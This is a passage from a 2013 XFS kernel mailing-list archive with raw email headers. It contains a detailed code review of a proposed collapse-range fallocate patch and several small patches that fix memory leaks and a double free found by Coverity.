(relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7277F7CBF for ; Wed, 31 Jul 2013 20:18:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D51ACAC005 for ; Wed, 31 Jul 2013 18:18:16 -0700 (PDT) X-ASG-Debug-ID: 1375319894-04bdf02f212c4300001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kHi8z4uwiZoHZaMY for ; Wed, 31 Jul 2013 18:18:15 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFAPG1+VF5LPxHgWdsb2JhbABbvRGFLoEcFw4BARYmKIIkAQEEAScTHCMFCwgDDgcDCSUPBSUDIROICgW5KxaPcQeECwOXXooiilIqgS4k Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 10:48:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4hWv-000587-08; Thu, 01 Aug 2013 11:18:13 +1000 Date: Thu, 1 Aug 2013 11:18:12 +1000 From: Dave Chinner To: Namjae Jeon Cc: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon Subject: Re: [PATCH 2/3] xfs: Implement FALLOC_FL_COLLAPSE_RANGE Message-ID: <20130801011812.GJ7118@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: Implement FALLOC_FL_COLLAPSE_RANGE References: <1375281734-15874-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1375281734-15874-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375319894 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137472 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 11:42:14PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > New fallocate flag FALLOC_FL_COLLAPSE_RANGE implementation for XFS. A good start, but there's lots of work needed to make this safe for general use. > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan > --- > fs/xfs/xfs_bmap.c | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_bmap.h | 3 ++ > fs/xfs/xfs_file.c | 26 ++++++++++++-- > fs/xfs/xfs_iops.c | 35 +++++++++++++++++++ > fs/xfs/xfs_vnodeops.c | 62 +++++++++++++++++++++++++++++++++ > fs/xfs/xfs_vnodeops.h | 2 ++ > 6 files changed, 217 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 05c698c..ae677b1 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -6145,3 +6145,95 @@ next_block: > > return error; > } > + > +/* > + * xfs_update_logical() > + * Updates starting logical block of extents by subtracting > + * shift from them. At max XFS_LINEAR_EXTS number extents > + * will be updated and *current_ext is the extent number which > + * is currently being updated. Single space after the "*" in the comments. Also, format them out to 80 columns. > + */ > +int > +xfs_update_logical( > + xfs_trans_t *tp, > + struct xfs_inode *ip, > + int *done, > + xfs_fileoff_t start_fsb, > + xfs_fileoff_t shift, > + xfs_extnum_t *current_ext) This belongs in xfs_bmap_btree.c, named something like xfs_bmbt_shift_rec_offsets(). Also, not typedefs for structures, please. (i.e. struct xfs_trans). > +{ > + xfs_btree_cur_t *cur; struct xfs_btree_cur *cur; And for all the other structures, too. > + xfs_bmbt_rec_host_t *gotp; > + xfs_mount_t *mp; > + xfs_ifork_t *ifp; > + xfs_extnum_t nexts = 0; > + xfs_fileoff_t startoff; > + int error = 0; > + int i; > + > + ifp = XFS_IFORK_PTR(ip, XFS_DATA_FORK); > + mp = ip->i_mount; Do the assigment in the declaration on mp. struct xfs_mount *mp = ip->i_mount; > + > + if (!(ifp->if_flags & XFS_IFEXTENTS) && > + (error = xfs_iread_extents(tp, ip, XFS_DATA_FORK))) > + return error; Hmmmm - that rings alarm bells. > + > + if (!*current_ext) { > + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); > + /* > + * gotp can be null in 2 cases: 1) if there are no extents > + * or 2) start_fsb lies in a hole beyond which there are > + * no extents. Either way, we are done. > + */ > + if (!gotp) { > + *done = 1; > + return 0; > + } > + } So, you do a lookup on an extent index, which returns a incore extent record. > + > + if (ifp->if_flags & XFS_IFBROOT) > + cur = xfs_bmbt_init_cursor(mp, tp, ip, XFS_DATA_FORK); > + else > + cur = NULL; > + > + while (nexts++ < XFS_LINEAR_EXTS && What has XFS_LINEAR_EXTS got to do with how many extents can be moved in a single transaction at a time? > + *current_ext < XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) { > + gotp = xfs_iext_get_ext(ifp, (*current_ext)++); > + startoff = xfs_bmbt_get_startoff(gotp); > + if (cur) { > + if ((error = xfs_bmbt_lookup_eq(cur, > + startoff, > + xfs_bmbt_get_startblock(gotp), > + xfs_bmbt_get_blockcount(gotp), > + &i))) Please don't put assignments inside if() statements where possible. i.e. error = xfs_bmbt_lookup_eq(cur, .... if (error) Is the normal way of doing this. > + goto del_cursor; > + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); > + } > + startoff -= shift; > + xfs_bmbt_set_startoff(gotp, startoff); So, we've looked up and extent, and reduced it's offset by shift. > + if (cur) { > + error = xfs_bmbt_update(cur, startoff, > + xfs_bmbt_get_startblock(gotp), > + xfs_bmbt_get_blockcount(gotp), > + xfs_bmbt_get_state(gotp)); > + if (error) > + goto del_cursor; And then we update the btree record in place. Ok, major alarm bells are going off at this point. Is the record still in the right place? Where did you validate that the shift downwards didn't overlap the previous extent in the tree? What happens if the start or end of the range to be shifted partially overlaps an extent? The shift can only be done into a hole in the file offset, so any attempt to shift downwards that overlaps an existing extent is immediately invalid and indicates something is wrong (pssobily corruption). And if the end of the range being shifted partially overlaps an extent, then that extent needs to be split - it requires two records in the tree to track the part that was shifted and the part that was not. > + } > + } > + > + /* Check if we are done */ > + if (*current_ext == XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) > + *done = 1; > + > +del_cursor: > + if (cur) { > + if (!error) > + cur->bc_private.b.allocated = 0; Um, why? > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_COLLAPSE_RANGE)) > + return -EOPNOTSUPP; > + > + /* not just yet for rt inodes */ > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && XFS_IS_REALTIME_INODE(ip)) > return -EOPNOTSUPP; Why not? The extent manipulations are identical.... > @@ -845,6 +850,21 @@ xfs_file_fallocate( > if (error) > goto out_unlock; > > + if (mode & FALLOC_FL_COLLAPSE_RANGE) { > + error = -xfs_collapse_file_space(ip, offset + len, len); > + if (error || offset >= i_size_read(inode)) > + goto out_unlock; > + > + /* Shrink size in case of FALLOC_FL_COLLAPSE_RANGE */ > + if ((offset + len) > i_size_read(inode)) > + new_size = offset; > + else > + new_size = i_size_read(inode) - len; > + error = -xfs_update_file_size(ip, new_size); > + > + goto out_unlock; > + } This needs to vector through xfs_change_file_space() - it already has code for doing offset/range validity checks, attaching appropriate dquots for accounting, post-op file size and timestamp updates, etc. > + > +/* > + * xfs_update_file_size() > + * Just a simple disk size and time update > + */ > +int > +xfs_update_file_size( > + struct xfs_inode *ip, > + loff_t newsize) This function should be nuked from orbit. I stopped looking at it when the bug count got past 5. If you use xfs_change_file_space, it's not necessary, either. > diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c > index dc730ac..95b46e7 100644 > --- a/fs/xfs/xfs_vnodeops.c > +++ b/fs/xfs/xfs_vnodeops.c > @@ -1868,3 +1868,65 @@ xfs_change_file_space( > xfs_trans_set_sync(tp); > return xfs_trans_commit(tp, 0); > } > + > +/* > + * xfs_collapse_file_space() > + * This implements the fallocate collapse range functionlaity. > + * It removes the hole from file by shifting all the extents which > + * lies beyond start block. > + */ > +int > +xfs_collapse_file_space( > + xfs_inode_t *ip, > + loff_t start, > + loff_t shift) > +{ > + int done = 0; > + xfs_mount_t *mp = ip->i_mount; > + uint resblks; > + xfs_trans_t *tp; > + int error = 0; > + xfs_extnum_t current_ext = 0; > + xfs_fileoff_t start_fsb = XFS_B_TO_FSB(mp, start); > + xfs_fileoff_t shift_fsb = XFS_B_TO_FSB(mp, shift); > + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); > + > + while (!error && !done) { > + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); > + tp->t_flags |= XFS_TRANS_RESERVE; > + error = xfs_trans_reserve(tp, resblks, XFS_WRITE_LOG_RES(mp), > + 0, XFS_TRANS_PERM_LOG_RES, > + XFS_WRITE_LOG_COUNT); Why a permanent log reservation for a single, non-nested transaction? > + if (error) { > + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); > + xfs_trans_cancel(tp, 0); > + break; > + } > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + > + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, > + ip->i_gdquot, ip->i_pdquot, > + resblks, 0, > + XFS_QMOPT_RES_REGBLKS); > + if (error) > + goto out; > + > + xfs_trans_ijoin(tp, ip, 0); > + > + error = xfs_update_logical(tp, ip, &done, start_fsb, > + shift_fsb, ¤t_ext); > + if (error) > + goto out; > + > + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > + } Where are you punching out the blocks in the range we are shifting the down into? i.e. before you can do this shift operation, you have to ensure that the range being shifted into has no extents in it. IOWs, the first operation that needs to be done is a hole punch of the range being removed - we need xfs_free_file_space() call on the range first. And as Ted pointed out, we also need to invalidate the page cache over the range being moved. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Wed Jul 31 20:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 573F47CBF for ; Wed, 31 Jul 2013 20:19:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C0A43AC003 for ; Wed, 31 Jul 2013 18:19:00 -0700 (PDT) X-ASG-Debug-ID: 1375319936-04bdf02f202c43b0001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lp7FHfFGKWlxeiGo for ; Wed, 31 Jul 2013 18:18:57 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r711It9a014112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Jul 2013 21:18:56 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r711Is3I025998 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 21:18:55 -0400 Message-ID: <51F9B77E.2030005@redhat.com> Date: Wed, 31 Jul 2013 20:18:54 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfs: avoid double-free in xfs_attr_node_addname X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfs: avoid double-free in xfs_attr_node_addname Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375319936 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_attr_node_addname()'s error handling tests whether it should free "state" in the out: error handling label: out: if (state) xfs_da_state_free(state); but an earlier free doesn't set state to NULL afterwards; this could lead to a double free. Fix it by setting state to NULL after it's freed. This was found by Coverity. Signed-off-by: Eric Sandeen --- Note: Exact same patch should hit xfsprogs - I could send another, or maybe SGI can just apply it in both trees? Thanks, -Eric diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 20fe3fe..aaff8a9 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -1260,6 +1260,7 @@ restart: * have been a b-tree. */ xfs_da_state_free(state); + state = NULL; xfs_bmap_init(args->flist, args->firstblock); error = xfs_attr3_leaf_to_node(args); if (!error) { From sandeen@redhat.com Wed Jul 31 20:32:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 13F5D7CBF for ; Wed, 31 Jul 2013 20:32:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 63FA2AC001 for ; Wed, 31 Jul 2013 18:32:33 -0700 (PDT) X-ASG-Debug-ID: 1375320752-04cb6c153d2b80b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3rwqYZTdP0nekddS for ; Wed, 31 Jul 2013 18:32:32 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r711WVe5020648 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Jul 2013 21:32:31 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r711WUCF031250 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 21:32:31 -0400 Message-ID: <51F9BAAE.2000709@redhat.com> Date: Wed, 31 Jul 2013 20:32:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: free bp in xlog_find_zeroed() error path X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfs: free bp in xlog_find_zeroed() error path Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375320752 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xlog_find_zeroed() currently leaks a bp on one error path. Using the bp_err: target resolves this. Found by Coverity. Signed-off-by: Eric Sandeen --- p.s. this can be merged to userspace as well. diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..2e10742 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1144,7 +1144,8 @@ xlog_find_zeroed( */ xfs_warn(log->l_mp, "Log inconsistent or not a log (last==0, first!=1)"); - return XFS_ERROR(EINVAL); + error = XFS_ERROR(EINVAL); + goto bp_err; } /* we have a partially zeroed log */ From sandeen@redhat.com Wed Jul 31 20:33:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A04A57CBF for ; Wed, 31 Jul 2013 20:33:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6AC7F8F8033 for ; Wed, 31 Jul 2013 18:33:49 -0700 (PDT) X-ASG-Debug-ID: 1375320828-04bdf02f232c5040001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GCPUR9rRdCZHA2A0 for ; Wed, 31 Jul 2013 18:33:48 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r711Xm6c018399 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Jul 2013 21:33:48 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r711XlRP021810 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 21:33:47 -0400 Message-ID: <51F9BAFB.9000808@redhat.com> Date: Wed, 31 Jul 2013 20:33:47 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfs:free bp in xlog_find_tail() error path X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfs:free bp in xlog_find_tail() error path Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375320828 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xlog_find_tail() currently leaks a bp on one error path. There is no error target, so manually free the bp before returning the error. Found by Coverity. Signed-off-by: Eric Sandeen --- p.s. this can be merged to userspace as well. diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 2e10742..05c9fab 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -963,6 +963,7 @@ xlog_find_tail( } if (!found) { xfs_warn(log->l_mp, "%s: couldn't find sync record", __func__); + xlog_put_bp(bp); ASSERT(0); return XFS_ERROR(EIO); } From sandeen@redhat.com Wed Jul 31 20:43:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 087987CBF for ; Wed, 31 Jul 2013 20:43:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B484C304039 for ; Wed, 31 Jul 2013 18:43:01 -0700 (PDT) X-ASG-Debug-ID: 1375321380-04bdf02f202c5710001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id d2qQGV5FqbyXBvJG for ; Wed, 31 Jul 2013 18:43:00 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r711h0AI023803 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Jul 2013 21:43:00 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r711gwG4003344 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 21:43:00 -0400 Message-ID: <51F9BD22.8060102@redhat.com> Date: Wed, 31 Jul 2013 20:42:58 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfsprogs: fix buffer leak in xlog_print_find_oldest X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: fix buffer leak in xlog_print_find_oldest Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375321380 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The error path in this function did not free the buffer before returning. Coverity found this one. Signed-off-by: Eric Sandeen --- diff --git a/logprint/log_print_all.c b/logprint/log_print_all.c index dfd76b7..d0c2959 100644 --- a/logprint/log_print_all.c +++ b/logprint/log_print_all.c @@ -29,7 +29,7 @@ xlog_print_find_oldest( xfs_buf_t *bp; xfs_daddr_t first_blk; uint first_half_cycle, last_half_cycle; - int error; + int error = 0; if (xlog_find_zeroed(log, &first_blk)) return 0; @@ -43,17 +43,14 @@ xlog_print_find_oldest( last_half_cycle = xlog_get_cycle(XFS_BUF_PTR(bp)); ASSERT(last_half_cycle != 0); - if (first_half_cycle == last_half_cycle) { /* all cycle nos are same */ + if (first_half_cycle == last_half_cycle) /* all cycle nos are same */ *last_blk = 0; - } else { /* have 1st and last; look for middle cycle */ + else /* have 1st and last; look for middle cycle */ error = xlog_find_cycle_start(log, bp, first_blk, last_blk, last_half_cycle); - if (error) - return error; - } xlog_put_bp(bp); - return 0; + return error; } void From sandeen@sandeen.net Wed Jul 31 21:25:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 098077CBF for ; Wed, 31 Jul 2013 21:25:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DDB1E3040A4 for ; Wed, 31 Jul 2013 19:25:24 -0700 (PDT) X-ASG-Debug-ID: 1375323920-04cbb02c3c2c10d0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id bElCkeeSsQalXBXs for ; Wed, 31 Jul 2013 19:25:20 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9D649609D8D8 for ; Wed, 31 Jul 2013 21:25:19 -0500 (CDT) Message-ID: <51F9C70E.30702@sandeen.net> Date: Wed, 31 Jul 2013 21:25:18 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfsprogs: fix agcnts leak in xfs_repair's scan_ags X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: fix agcnts leak in xfs_repair's scan_ags Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375323920 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- agcnts is malloc'd but never freed in this function. Coverity found this. Signed-off-by: Eric Sandeen --- diff --git a/repair/scan.c b/repair/scan.c index 76bb7f1..4040f53 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -1367,6 +1367,8 @@ scan_ags( ifreecount += agcnts[i].ifreecount; } + free(agcnts); + /* * Validate that our manual counts match the superblock. */ From david@fromorbit.com Wed Jul 31 21:48:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 57FD37CBF for ; Wed, 31 Jul 2013 21:48:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C3D83040BF for ; Wed, 31 Jul 2013 19:48:06 -0700 (PDT) X-ASG-Debug-ID: 1375325284-04cbb02c3a2c2870001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id j8CfakWBI3GqThJq for ; Wed, 31 Jul 2013 19:48:04 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFADvL+VF5LPxHgWdsb2JhbABbvQ6FLoEfFw4BARYmKIIkAQEFJxMcIxAIAw4HAwklDwUlAyETiA+5MxaPcQeECwOXXooiilIq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 12:18:03 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4ivo-0005Hq-7X; Thu, 01 Aug 2013 12:48:00 +1000 Date: Thu, 1 Aug 2013 12:48:00 +1000 From: Dave Chinner To: Namjae Jeon Cc: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, 